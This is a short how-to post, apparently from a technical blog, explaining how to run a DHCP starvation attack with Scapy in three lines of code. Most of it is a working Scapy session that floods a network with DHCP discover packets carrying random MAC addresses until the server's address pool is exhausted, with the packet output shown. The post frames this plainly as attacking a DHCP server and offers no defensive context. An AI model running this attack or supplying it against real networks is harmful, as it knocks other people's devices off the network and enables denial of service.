DHCP Denial of Service with scapy

 What

How to attack the DHCP server, by an starvation attack.

 Solution

A DHCP starvation attack can easily excecuted with scapy.

This is a small post explaining how to run a starvation attack against a DHCP server with only three lines of code (thanks to Scapy).

Information & download regarding Scapy: http://www.secdev.org/projects/scapy/
Information about DHCP Starvation attack: http://hakipedia.com/index.php/DHCP_Starvation

Running a starvation attack is nothing more than sending a lot of dummy DHCP requests, with random source MAC addresses. After few second, there is no more IP addresses available in the pool. Her is the code:

[root@host]$ scapy
Welcome to Scapy (v1.1.1 / -)
>>> conf.checkIPaddr = False
>>> dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP
(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"])
>>> sendp(dhcp_discover,loop=1)
...............................................................^C
Sent 70 packets.

Source